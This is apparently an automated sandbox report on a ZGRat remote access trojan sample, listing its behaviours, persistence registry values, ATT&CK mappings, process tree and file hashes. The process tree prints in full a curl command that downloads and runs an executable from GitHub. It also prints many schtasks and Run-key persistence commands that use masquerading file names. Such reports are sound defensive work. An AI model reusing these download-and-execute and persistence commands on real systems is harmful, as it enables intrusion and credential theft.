zgrat | ee12a9f44c284d944c681ef8060eba2d0c4f3c4209d78a5e231e107b5baf891d

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
09-05-2024 00:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

recode.exe
Size

1.4MB
MD5

d120c8ac26de487f2809b3e672b1a8ac
SHA1

1e044ddbdaf5d57d96d754bedbdec93d7dc3a58f
SHA256

ee12a9f44c284d944c681ef8060eba2d0c4f3c4209d78a5e231e107b5baf891d
SHA512

35447c00f9d553fe983097745b4301f285d6660fc5c4427190a89bd97bcace39f398ecf1c9fd63ac25da082d6c27bcb42db5118b91a1cbb163f24111309425e6
SSDEEP

24576:r0tR5MWdGgsLVbk1hRh7N9UnMuGKFGRQ93HX1sU:39lkHJCnpKU

Score

10^/10

zgrat persistence rat spyware stealer

Malware Config

Signatures

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral1/files/0x0008000000023417-2.dat	family_zgrat_v1
behavioral1/files/0x0009000000023415-14.dat	family_zgrat_v1
behavioral1/memory/3340-16-0x0000000000570000-0x0000000000742000-memory.dmp	family_zgrat_v1

Modifies WinLogon for persistence 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\winDll\\OfficeClickToRun.exe\", \"C:\\Windows\\apppatch\\CustomSDB\\TextInputHost.exe\", \"C:\\winDll\\lsass.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\winDll\\OfficeClickToRun.exe\", \"C:\\Windows\\apppatch\\CustomSDB\\TextInputHost.exe\", \"C:\\winDll\\lsass.exe\", \"C:\\winDll\\RuntimeBroker.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\winDll\\OfficeClickToRun.exe\", \"C:\\Windows\\apppatch\\CustomSDB\\TextInputHost.exe\", \"C:\\winDll\\lsass.exe\", \"C:\\winDll\\RuntimeBroker.exe\", \"C:\\Windows\\SysWOW64\\MailContactsCalendarSync\\mscom.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\winDll\\OfficeClickToRun.exe\", \"C:\\Windows\\apppatch\\CustomSDB\\TextInputHost.exe\", \"C:\\winDll\\lsass.exe\", \"C:\\winDll\\RuntimeBroker.exe\", \"C:\\Windows\\SysWOW64\\MailContactsCalendarSync\\mscom.exe\", \"C:\\winDll\\mscom.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\winDll\\OfficeClickToRun.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\winDll\\OfficeClickToRun.exe\", \"C:\\Windows\\apppatch\\CustomSDB\\TextInputHost.exe\""	mscom.exe

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1812	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4888	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1660	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	924	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4108	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2744	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4876	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3476	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1008	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2448	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3596	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1596	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4460	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1948	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4652	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4748	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3200	2028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3188	2028	schtasks.exe	96

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	mscom.exe

Executes dropped EXE 3 IoCs

pid	Process
4388	Update.exe
3340	mscom.exe
456	OfficeClickToRun.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\winDll\\RuntimeBroker.exe\""	mscom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mscom = "\"C:\\winDll\\mscom.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mscom = "\"C:\\winDll\\mscom.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\winDll\\OfficeClickToRun.exe\""	mscom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TextInputHost = "\"C:\\Windows\\apppatch\\CustomSDB\\TextInputHost.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TextInputHost = "\"C:\\Windows\\apppatch\\CustomSDB\\TextInputHost.exe\""	mscom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\winDll\\lsass.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\winDll\\lsass.exe\""	mscom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\winDll\\OfficeClickToRun.exe\""	mscom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\winDll\\RuntimeBroker.exe\""	mscom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mscom = "\"C:\\Windows\\SysWOW64\\MailContactsCalendarSync\\mscom.exe\""	mscom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mscom = "\"C:\\Windows\\SysWOW64\\MailContactsCalendarSync\\mscom.exe\""	mscom.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\MailContactsCalendarSync\mscom.exe	mscom.exe
File opened for modification	C:\Windows\SysWOW64\MailContactsCalendarSync\mscom.exe	mscom.exe
File created	C:\Windows\SysWOW64\MailContactsCalendarSync\7e8dd1779e9b7a	mscom.exe
File created	\??\c:\Windows\System32\CSC571ED5F388984C10ABE0F6F7DF8FA868.TMP	csc.exe
File created	\??\c:\Windows\System32\fruvan.exe	csc.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Update.exe	curl.exe
File created	C:\Windows\apppatch\CustomSDB\TextInputHost.exe	mscom.exe
File created	C:\Windows\apppatch\CustomSDB\22eafd247d37c3	mscom.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4108	schtasks.exe
1596	schtasks.exe
1948	schtasks.exe
3596	schtasks.exe
4652	schtasks.exe
3188	schtasks.exe
4748	schtasks.exe
3200	schtasks.exe
4888	schtasks.exe
1660	schtasks.exe
2448	schtasks.exe
4460	schtasks.exe
3476	schtasks.exe
1008	schtasks.exe
1812	schtasks.exe
924	schtasks.exe
2744	schtasks.exe
4876	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	Update.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	mscom.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4980	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
3340	mscom.exe
456	OfficeClickToRun.exe
456	OfficeClickToRun.exe
456	OfficeClickToRun.exe
456	OfficeClickToRun.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
456	OfficeClickToRun.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3340	mscom.exe
Token: SeDebugPrivilege	456	OfficeClickToRun.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 3744 wrote to memory of 1420	3744	recode.exe	81
PID 3744 wrote to memory of 1420	3744	recode.exe	81
PID 1420 wrote to memory of 5072	1420	cmd.exe	82
PID 1420 wrote to memory of 5072	1420	cmd.exe	82
PID 1420 wrote to memory of 4388	1420	cmd.exe	86
PID 1420 wrote to memory of 4388	1420	cmd.exe	86
PID 1420 wrote to memory of 4388	1420	cmd.exe	86
PID 4388 wrote to memory of 2916	4388	Update.exe	87
PID 4388 wrote to memory of 2916	4388	Update.exe	87
PID 4388 wrote to memory of 2916	4388	Update.exe	87
PID 3744 wrote to memory of 536	3744	recode.exe	88
PID 3744 wrote to memory of 536	3744	recode.exe	88
PID 536 wrote to memory of 2920	536	cmd.exe	89
PID 536 wrote to memory of 2920	536	cmd.exe	89
PID 536 wrote to memory of 752	536	cmd.exe	90
PID 536 wrote to memory of 752	536	cmd.exe	90
PID 536 wrote to memory of 3124	536	cmd.exe	91
PID 536 wrote to memory of 3124	536	cmd.exe	91
PID 3744 wrote to memory of 1220	3744	recode.exe	92
PID 3744 wrote to memory of 1220	3744	recode.exe	92
PID 2916 wrote to memory of 5032	2916	WScript.exe	93
PID 2916 wrote to memory of 5032	2916	WScript.exe	93
PID 2916 wrote to memory of 5032	2916	WScript.exe	93
PID 5032 wrote to memory of 3340	5032	cmd.exe	95
PID 5032 wrote to memory of 3340	5032	cmd.exe	95
PID 3340 wrote to memory of 1052	3340	mscom.exe	100
PID 3340 wrote to memory of 1052	3340	mscom.exe	100
PID 1052 wrote to memory of 4920	1052	csc.exe	102
PID 1052 wrote to memory of 4920	1052	csc.exe	102
PID 3340 wrote to memory of 4580	3340	mscom.exe	118
PID 3340 wrote to memory of 4580	3340	mscom.exe	118
PID 4580 wrote to memory of 4472	4580	cmd.exe	120
PID 4580 wrote to memory of 4472	4580	cmd.exe	120
PID 4580 wrote to memory of 4980	4580	cmd.exe	121
PID 4580 wrote to memory of 4980	4580	cmd.exe	121
PID 4580 wrote to memory of 456	4580	cmd.exe	123
PID 4580 wrote to memory of 456	4580	cmd.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\recode.exe
"C:\Users\Admin\AppData\Local\Temp\recode.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://raw.githubusercontent.com/Vexigg/Fortnite-External-Source-WIth-Prediction/main/External%20With%20Prediction/build/kdmapper_release.exe --output C:\\Windows\\Update.exe >nul 2>&1 && C:\\Windows\\Update.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\system32\curl.exe
    curl https://raw.githubusercontent.com/Vexigg/Fortnite-External-Source-WIth-Prediction/main/External%20With%20Prediction/build/kdmapper_release.exe --output C:\\Windows\\Update.exe
    3⤵
    - Drops file in Windows directory
    PID:5072
- - C:\Windows\Update.exe
    C:\\Windows\\Update.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4388
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\winDll\dvRjBY2gn5BdU0m188kftpzkLyn9BEtcDHYwrpjSKECMFQBg1aJgT7zLqR.vbe"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2916
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\winDll\CxFFIHB78YecKNtwzXg7GlmZVa2MlUcDrXLO7T7iYWa.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5032
      - C:\winDll\mscom.exe
        
        "C:\winDll/mscom.exe"
        6⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in System32 directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3340
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\g3gcz24x\g3gcz24x.cmdline"
        7⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1052
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA95F.tmp" "c:\Windows\System32\CSC571ED5F388984C10ABE0F6F7DF8FA868.TMP"
        8⤵
        
        PID:4920
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Gg6jaq7Wol.bat"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4580
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:4472
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        Runs ping.exe
        
        PID:4980
        
        C:\winDll\OfficeClickToRun.exe
        
        "C:\winDll\OfficeClickToRun.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\recode.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:536
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\recode.exe" MD5
    3⤵
    PID:2920
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:752
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:3124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 9 /tr "'C:\winDll\OfficeClickToRun.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\winDll\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 14 /tr "'C:\winDll\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 12 /tr "'C:\Windows\apppatch\CustomSDB\TextInputHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Windows\apppatch\CustomSDB\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 7 /tr "'C:\Windows\apppatch\CustomSDB\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\winDll\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\winDll\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3476

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\winDll\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\winDll\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\winDll\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\winDll\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "mscomm" /sc MINUTE /mo 13 /tr "'C:\Windows\SysWOW64\MailContactsCalendarSync\mscom.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "mscom" /sc ONLOGON /tr "'C:\Windows\SysWOW64\MailContactsCalendarSync\mscom.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "mscomm" /sc MINUTE /mo 9 /tr "'C:\Windows\SysWOW64\MailContactsCalendarSync\mscom.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "mscomm" /sc MINUTE /mo 8 /tr "'C:\winDll\mscom.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "mscom" /sc ONLOGON /tr "'C:\winDll\mscom.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "mscomm" /sc MINUTE /mo 7 /tr "'C:\winDll\mscom.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Gg6jaq7Wol.bat

Filesize
158B

MD5
f67353fc7f8207172879d421a324dfeb

SHA1
f90b0c75ff40316f934e52f1d45cd09d234568f5

SHA256
494ac84a50314cd95a6973425b60a678fc6af2e5c43ac2435ed3846fce6fb305

SHA512
e8e86d355565d56f4dd88382a53d94b68ff47db864186cdc74c7c80020ca7a9f8b6a5339bf4bd4aebc403a96a2eb132cc20520aa6400dc51527b4329efaa4821

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA95F.tmp

Filesize
1KB

MD5
6a822fbbcaa1896cf3dc9cbad6d32d8a

SHA1
45efd4728c1551be70c92052dc51d502b31bf86f

SHA256
0e10f415dcfe0e5e1f6b263ce95acb1cd4f3d1a22c651d8d9cad99d4489b1cbb

SHA512
ce4957ad850b57d8cb0fc303e6fef25db8ff3f65c3a6a5fd531225e4fc9c0af00e4a8ce3791be68b767f892307a4ef6054f18fac4d0e5bff6c0fb84afe63563a

Download Submit
C:\Windows\Update.exe

Filesize
2.1MB

MD5
72231a8ed8d833a291feb278d86bc798

SHA1
18315e4aa31384696304b95f88a7ea87f7601d6e

SHA256
792d3970408d1f8cac7ddc3bc58975c6c849a1c3a29369ecf5b7c9f3fd722367

SHA512
5c79cc6e7dc2495d5dd1eee0219b6aa69cf70be524038fa612c616c5fd699c4b52323bc8808d0339fa642e85296654beecfc7b619882b0d626561ec95e3a548f

Download Submit
C:\winDll\CxFFIHB78YecKNtwzXg7GlmZVa2MlUcDrXLO7T7iYWa.bat

Filesize
56B

MD5
4339221fd2a51e9f92858fac8115dee5

SHA1
c21911039b8ba8e070f6b0c00c4933b8a6851fd6

SHA256
c21249336067cb7e84f727efe271e6dea9d98b3bcaf27a4e84e5ef84e8b572fd

SHA512
8bda1b257391b97b7d53ea212883bae7276ed69448afcbd193ebf70e0a9a125e7949b51b56e6b63ae6d6c446a1dff60d2a51c797ebc0f74614f239aaf0ffd6f2

Download Submit
C:\winDll\dvRjBY2gn5BdU0m188kftpzkLyn9BEtcDHYwrpjSKECMFQBg1aJgT7zLqR.vbe

Filesize
228B

MD5
afa6698f846bdab7fb1deac4298a858b

SHA1
5f6e916dadacf1596e9c70b0a05c21f1443c60cd

SHA256
a31c4cf2ffd97fbca535f31d8c21c945f97390e636f1123ba501ded6f36e5294

SHA512
d5ad0be67740b61bb006118636d94882979a6171bcae97397e4b796451be23a531adc64eb67a333b53da45d87bf997327f6d253db1698a6d8dcc1029c330c51d

Download Submit
C:\winDll\mscom.exe

Filesize
1.8MB

MD5
818c63bcb9ed71f7d2824d691a0a7973

SHA1
35c0e698cf9d64d3553977b9f08054edf8669715

SHA256
0d2cd06f09ff7b28399b4544a2f63eda91321a2aaf514d5b5bc17d2d01c633b4

SHA512
adff7147b442bd6061f55d198137f1123c3c5e6de4a27faccd401028433626a164fe99aa2835ca45542dc6d6dc63a405e2b27aba120033446eb75328d7974f10

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\g3gcz24x\g3gcz24x.0.cs

Filesize
362B

MD5
e54c6327c862d6df5d0158d7b2082491

SHA1
e9c8713625b9b7feb864907fd92130ccba8ce2cf

SHA256
c2266d18c0f06468135c0b9205c9155576292440a75097b4d416b748aa8c08fd

SHA512
834112f3971a25253fdaea67b6f980dc7877fb737dc1c180df8fac19849c18b46382889ff27587cfb065531ecf1a461864d5faa042606f4ffd74d8ef2e599993

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\g3gcz24x\g3gcz24x.cmdline

Filesize
235B

MD5
bbbfb0187cc5fb3ec0108aa71e1e842f

SHA1
c7f8abced8332e03b1f59a6b885d9008d7a7b5ae

SHA256
a431654c596c15c678f89f120ef26664ce0a18e36c3a1bda22cba6b417e510a3

SHA512
ab2cbadb22613c2f8d7050b59efe770b1217f6b2dbd86e913857949f3a56c7ae95e9ce455f0c966ac062acf4b3d8014a3fa7f8080221ad893f998c542b4718e7

Download Submit
\??\c:\Windows\System32\CSC571ED5F388984C10ABE0F6F7DF8FA868.TMP

Filesize
1KB

MD5
d52087709e2274a5a9381789082a9d03

SHA1
e1f693bc2b4cd35e7abdea93dc0bb77ef6ddce59

SHA256
f4091edfc561d6d16cdb8f686a10ebade8c6a9239730fddb9c652a1c005790c2

SHA512
5e448e07b49f301dd1d815818527f88d32cac7e869cd8120651b940783a29a18c2b4ec87ad18ce3a85c6973e4b676d9499068e3b805c972b6a95660a3c7dae12

Download Submit
memory/3340-23-0x000000001B4B0000-0x000000001B4C8000-memory.dmp

Filesize
96KB

Download
memory/3340-21-0x000000001B500000-0x000000001B550000-memory.dmp

Filesize
320KB

Download
memory/3340-20-0x0000000002890000-0x00000000028AC000-memory.dmp

Filesize
112KB

Download
memory/3340-18-0x0000000002860000-0x000000000286E000-memory.dmp

Filesize
56KB

Download
memory/3340-16-0x0000000000570000-0x0000000000742000-memory.dmp

Filesize
1.8MB

Download